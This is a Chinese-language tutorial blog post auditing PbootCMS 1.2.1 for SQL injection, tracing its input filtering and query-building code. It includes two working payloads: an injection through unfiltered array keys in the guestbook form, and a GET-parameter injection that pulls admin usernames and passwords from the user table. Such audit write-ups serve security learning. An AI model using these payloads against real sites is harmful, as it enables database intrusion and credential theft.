PHP代码审计之学习SQL注入与审计流程

admin 2024年12月24日13:35:53评论7 views字数 9967阅读33分13秒阅读模式

目录

  1. 说在前面
  2. 过程一 了解网站的基本架构
  3. 过程二 了解系统参数与底层过滤情况
  4. SQL注入
    1. 在线留言处insert sql注入
      1. 复现漏洞
      2. 代码分析
    2. 前台SQL注入
      1. 漏洞复现
      2. 源码分析
  5. 总结

说在前面

本来只想复现一下sql注入的几篇文章,但在先知上找到了几篇非常好的入门审计的文章。于是打算按照他的审计思路,熟悉一下PHP代码审计流程,同时整理一下SQL注入的审计方法。

文章地址:https://xz.aliyun.com/t/3532

过程一 了解网站的基本架构

文章是拿PbootCMS1.2.1来做演示。 安装好系统,配置好数据库信息,阅读一下网站开发手册。

在审计之前,可以先做以下事情:

1. 了解网站目录结构
使用 tree > tree.txt 来生成文件树。快速了解系统。

2. 确定路由走向
一般是mvc的路由,这个cms还包含自定义路由。

过程二 了解系统参数与底层过滤情况

1.    了解系统参数过滤的情况
    a)原生GET,POST,REUQEST最简单的方法就是找一个系统中外部可访问的方法,使用
    var_dump($_GET);
    var_dump($_POST);
    var_dump($_REQUEST);
    来查看过滤情况

    文章使用了一个留言新增点,添加了上方语句之后。
    访问:/index.php/Message/add?test='";!-=$%^{()}<>
    用此来检测原始数据的过滤情况

    b)系统外部变量获取函数 get(),post(),request()
    可以直接使用seay搜索"get("来寻找到get数据处理的函数。

2.    了解数据库底层运行方式
    了解数据库增删查改的函数,查看是否有过滤。
    seay搜索:insert( 等。

SQL注入

在线留言处insert sql注入

复现漏洞

http://127.0.0.1/index.php/about/10

提交留言并抓包。

将:

contacts=1&mobile=2&content=3&checkcode=3231

修改为:

contacts[content`,`create_time`,`update_time`) VALUES ('1', '1' ,1 and updatexml(1,concat(0x3a,user()),1) );-- a]

提交数据包,可以获得数据库用户名:

pic

代码分析

POST提交的地址为:

http://127.0.0.1/index.php/Message/add

根据路由,位置为: Message模块,add方法。

具体位置:apps/home/controller/MessageController.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
// 留言新增
public function add()
{
if ($_POST) {

if (time() - session('lastsub') < 10) {
alert_back('您提交太频繁了,请稍后再试!');
}

// 验证码验证
$checkcode = post('checkcode');
if ($this->config('message_check_code')) {
if (! $checkcode) {
alert_back('验证码不能为空!');
}

if ($checkcode != session('checkcode')) {
alert_back('验证码错误!');
}
}

// 读取字段
if (! $form = $this->model->getFormField(1)) {
alert_back('留言表单不存在任何字段,请核对后重试!');
}

// 接收数据
$mail_body = '';
foreach ($form as $value) {
$field_data = post($value->name);
if (is_array($field_data)) { // 如果是多选等情况时转换
$field_data = implode(',', $field_data);
}
if ($value->required && ! $field_data) {
alert_back($value->description . '不能为空!');
} else {
$data[$value->name] = post($value->name);
$mail_body .= $value->description . ':' . post($value->name) . '<br>';
}
}

// 设置额外数据
if ($data) {
$data['acode'] = session('lg');
$data['user_ip'] = ip2long(get_user_ip());
$data['user_os'] = get_user_os();
$data['user_bs'] = get_user_bs();
$data['recontent'] = '';
$data['status'] = 0;
$data['create_user'] = 'guest';
$data['update_user'] = 'guest';
}

if ($this->model->addMessage($data)) {
session('lastsub', time()); // 记录最后提交时间
$this->log('留言提交成功!');
if ($this->config('message_send_mail') && $this->config('message_send_to')) {
$mail_subject = "【PbootCMS】您有新的表单数据,请注意查收!";
$mail_body .= '<br>来自网站' . get_http_url() . '(' . date('Y-m-d H:i:s') . ')';
sendmail($this->config(), $this->config('message_send_to'), $mail_subject, $mail_body);
}
alert_location('提交成功!', '-1');
} else {
$this->log('留言提交失败!');
alert_back('提交失败!');
}
} else {
error('提交失败,请使用POST方式提交!');
}
}

提交的步骤为:

  1. 判断POST提交的数据是否为空
  2. 检查字段值是否为空并获取字段值
  3. 设置额外数据后提交 调用:$this->model->addMessage($data)

为了了解对POST数据的过滤情况,跟踪接收数据处的post()函数: core\function\helper.php

1
2
3
4
5
6
7
8
9
10
11
12
function post($name, $type = null, $require = false, $vartext = null, $default = null)
{
$condition = array(
'd_source' => 'post',
'd_type' => $type,
'd_require' => $require,
$name => $vartext,
'd_default' => $default

);
return filter($name, $condition);
}

返回的数据进行了处理,继续跟踪filter()函数:core\function\helper.php

1
2
3
4
5
6
function filter($varname, $condition)
{
// ...对数据格式进行各种处理

return escape_string($data);
}

函数内容都是对是一些对数据格式的处理,在最后才有对数据内容进行处理的函数。

继续跟踪escape_string()函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// 获取转义数据,支持字符串、数组、对象
function escape_string($string, $dropStr = true)
{
if (! $string)
return $string;
if (is_array($string)) { // 数组处理
foreach ($string as $key => $value) {
$string[$key] = escape_string($value);
}
} elseif (is_object($string)) { // 对象处理
foreach ($string as $key => $value) {
$string->$key = escape_string($value);
}
} else { // 字符串处理
if ($dropStr) {
$string = preg_replace('/(0x7e)|(0x27)|(0x22)|(updatexml)|(extractvalue)|(name_const)|(concat)/i', '', $string);
}
$string = htmlspecialchars(trim($string), ENT_QUOTES, 'UTF-8');
$string = addslashes($string);
}
return $string;
}

对数据内容进行的过滤为:

  1. 使用正则将一些sql注入的关键字替换为空
  2. htmlspecialchars():把预定义的字符转换为 HTML 实体。
  3. addslashes() :在预定义字符之前添加反斜杠的字符串。

但是这里只对数组值进行处理,却没有对数组的键进行处理。所以根据后面insert()函数的插入方式,可以进行sql注入。

以上是对POST传入参数的处理。

接着前面的$this->model->addMessage($data)

跟踪addMessage函数:apps\api\model\CmsModel.php

1
2
3
4
public function addMessage($table, $data)
{
return parent::table('ay_message')->autoTime()->insert($data);
}

继续跟踪insert()函数:core\basic\Model.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
// ******************************数据插入*******************************************************
/**
* 数据插入模型
*
* @param array $data
* 可以为一维或二维数组,
* 一维数组:array('username'=>"xsh",'sex'=>'男'),
* 二维数组:array(
* array('username'=>"xsh",'sex'=>'男'),
* array('username'=>"gmx",'sex'=>'女')
* )
* @param boolean $batch
* 是否启用批量一次插入功能,默认true
* @return boolean|boolean|array
*/
final public function insert(array $data = array(), $batch = true)
{
// 未传递数据时,使用data函数插入数据
if (! $data && isset($this->sql['data'])) {
return $this->insert($this->sql['data']);
}
if (is_array($data)) {

if (! $data)
return;
if (count($data) == count($data, 1)) { // 单条数据 判断是否为多维数组
$keys = '';
$values = '';
foreach ($data as $key => $value) {
if (! is_numeric($key)) {//判断键是否为数值
$keys .= "`" . $key . "`,"; //将键转换为 `key`如何拼接起来
$values .= "'" . $value . "',";//将值转换为 `value`
}
}
if ($this->autoTimestamp || (isset($this->sql['auto_time']) && $this->sql['auto_time'] == true)) {
$keys .= "`" . $this->createTimeField . "`,`" . $this->updateTimeField . "`,";
if ($this->intTimeFormat) {
$values .= "'" . time() . "','" . time() . "',";
} else {
$values .= "'" . date('Y-m-d H:i:s') . "','" . date('Y-m-d H:i:s') . "',";
}
}
if ($keys) { // 如果插入数据关联字段,则字段以关联数据为准,否则以设置字段为准
$this->sql['field'] = '(' . substr($keys, 0, - 1) . ')';
} elseif (isset($this->sql['field']) && $this->sql['field']) {
$this->sql['field'] = "({$this->sql['field']})";
}
$this->sql['value'] = "(" . substr($values, 0, - 1) . ")";
$sql = $this->buildSql($this->insertSql);
} else { // 多条数据
if ($batch) { // 批量一次性插入
$key_string = '';
$value_string = '';
$flag = false;
foreach ($data as $keys => $value) {
if (! $flag) {
$value_string .= ' SELECT ';
} else {
$value_string .= ' UNION All SELECT ';
}
foreach ($value as $key2 => $value2) {
// 字段获取只执行一次
if (! $flag && ! is_numeric($key2)) {
$key_string .= "`" . $key2 . "`,";
}
$value_string .= "'" . $value2 . "',";
}
$flag = true;
if ($this->autoTimestamp || (isset($this->sql['auto_time']) && $this->sql['auto_time'] == true)) {
if ($this->intTimeFormat) {
$value_string .= "'" . time() . "','" . time() . "',";
} else {
$value_string .= "'" . date('Y-m-d H:i:s') . "','" . date('Y-m-d H:i:s') . "',";
}
}
$value_string = substr($value_string, 0, - 1);
}
if ($this->autoTimestamp || (isset($this->sql['auto_time']) && $this->sql['auto_time'] == true)) {
$key_string .= "`" . $this->createTimeField . "`,`" . $this->updateTimeField . "`,";
}
if ($key_string) { // 如果插入数据关联字段,则字段以关联数据为准,否则以设置字段为准
$this->sql['field'] = '(' . substr($key_string, 0, - 1) . ')';
} elseif (isset($this->sql['field']) && $this->sql['field']) {
$this->sql['field'] = "({$this->sql['field']})";
}
$this->sql['value'] = $value_string;
$sql = $this->buildSql($this->insertMultSql);
// 判断SQL语句是否超过数据库设置
if (get_db_type() == 'mysql') {
$max_allowed_packet = $this->getDb()->one('SELECT @@global.max_allowed_packet', 2);
} else {
$max_allowed_packet = 1 * 1024 * 1024; // 其他类型数据库按照1M限制
}
if (strlen($sql) > $max_allowed_packet) { // 如果要插入的数据过大,则转换为一条条插入
return $this->insert($data, false);
}
} else { // 批量一条条插入
foreach ($data as $keys => $value) {
$result = $this->insert($value);
}
return $result;
}
}
} elseif ($this->sql['from']) {
if (isset($this->sql['field']) && $this->sql['field']) { // 表指定字段复制
$this->sql['field'] = "({$this->sql['field']})";
}
$sql = $this->buildSql($this->insertFromSql);
} else {
return;
}
return $this->getDb()->amd($sql);
}

insert函数只是对提交的数据进行了拼接,并未对数据进行过滤。

提交一个留言,查看提交的mysql语句。

INSERT INTO ay_message (`contacts`,`mobile`,`content`,`acode`,`user_ip`,`user_os`,`user_bs`,`recontent`,`status`,`create_user`,`update_user`,`create_time`,`update_time`) VALUES ('1','2','3','cn','2130706433','Windows 10','Chrome','','0','guest','guest','2019-05-20 16:00:22','2019-05-20 16:00:22')

这里的1, 2, 3是我们可以控制的内容,但是内容会被过滤,所以不能进行sql注入,但还有contracts, mobile, content这三个从post传过去并没有进行过滤的参数名。

于是构造payload:

contacts[content`,`create_time`,`update_time`) VALUES ('1', '1' ,1 and updatexml(1,concat(0x3a,user()),1) );-- a]

用Brupsuite抓包后提交,就会得到user()。

前台SQL注入

漏洞复现

直接访问:

http://127.0.0.1/index.php/Index?ext_price%3D1/**/and/**/updatexml(1,concat(0x7e,(SELECT/**/distinct/**/concat(0x23,username,0x3a,password,0x23)/**/FROM/**/ay_user/**/limit/**/0,1),0x7e),1));%23=123

源码分析

后面几个例子基本都是围绕这个点注入的。

直接来看源码:

\apps\home\controller\ParserController.php

里面有一个parserAfter函数,里面会调用指定列表的函数,跟进这个函数:

1
2
3
4
5
6
7

public function parserAfter($content)
{
...
$content = $this->parserSpecifyListLabel($content); // 指定列表
...
}

这个函数在进行数据筛选的时候,会调用:

1
2
3
4
5
6
7
8
9
...
// 数据筛选
$where2 = array();
foreach ($_GET as $key => $value) {
if (substr($key, 0, 4) == 'ext_') { // 其他字段不加入
$where2[$key] = get($key);
}
}
...

会判断get中的参数的前缀是否为ext_ 如果是,就加入where2数组。

where2数组最终会进入到下面的两个函数内。继续跟进这两个函数:

$data = $this->model->getList($scode, $num, $order, $where1, $where2);
$data = $this->model->getSpecifyList($scode, $num, $order, $where1, $where2);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

public function getSpecifyList($acode, $scode, $num, $order, $where = array())
{
...

return parent::table('ay_content a')->field($fields)
->where($where1, 'OR')
->where($where2)
->where($where, 'AND', 'AND', true)
->join($join)
->order($order)
->limit($num)
->decode()
->select();
}

可见,这个where2数组的会被带入到where函数内进行查询。

当payload被传入时,where函数会拼接数组里的值,进而导致sql注入漏洞。查询的sql语句如下所示。

1
2
SELECT  a.*,b.name as sortname,b.filename as sortfilename,c.name as subsortname,c.filename as subfilename,d.type,e.* FROM ay_content a  LEFT JOIN ay_content_sort b ON a.scode=b.scode LEFT JOIN ay_content_sort c ON a.subscode=c.scode LEFT JOIN ay_model d ON b.mcode=d.mcode LEFT JOIN ay_content_ext e ON a.id=e.contentid WHERE(a.scode in ('5','6','7') OR a.subscode='5') AND(a.acode='cn' AND a.status=1 AND d.type=2) AND(ext_price=1/**/and/**/updatexml(1,concat(0x7e,(SELECT/**/distinct/**/concat(0x23,username,0x3a,password,0x23)/**/FROM/**/ay_user/**/limit/**/0,1),0x7e),1));# like '%123%' )   ORDER BY date DESC,sorting ASC,id DESC LIMIT 4

总结

见到有个大佬的文章里面总结的很好,这里就直接按他的思路来了。

在sql注入的审计过程中,一般的流程为:

  1. 在seay中开启查询日志
  2. 查找系统的输入点,尝试输入一些内容并执行
  3. 跟随输入信息,判断输入的内容是否被过滤,是否可利用。
  4. 构造注入语句进行测试

我觉得在这之前应该对框架和底层sql插入的函数方法有个大概的了解。

一些输入点的总结:

1)表单提交,主要是POST请求,也包括GET请求。

2)URL参数提交,主要为GET请求参数。

3)Cookie参数提交。

4)HTTP请求头部的一些可修改的值,比如Referer、User_Agent等。

5)一些边缘的输入点,比如.jpg文件的一些文件信息等。

对TP的框架还是半懵半懂的状态,一定要学,必须要学。

这次倒是对sql注入的审计有了大概的框架了,后面要尝试审计几个小的cms。

- By:threezh1.com

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月24日13:35:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PHP代码审计之学习SQL注入与审计流程https://cn-sec.com/archives/3547492.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息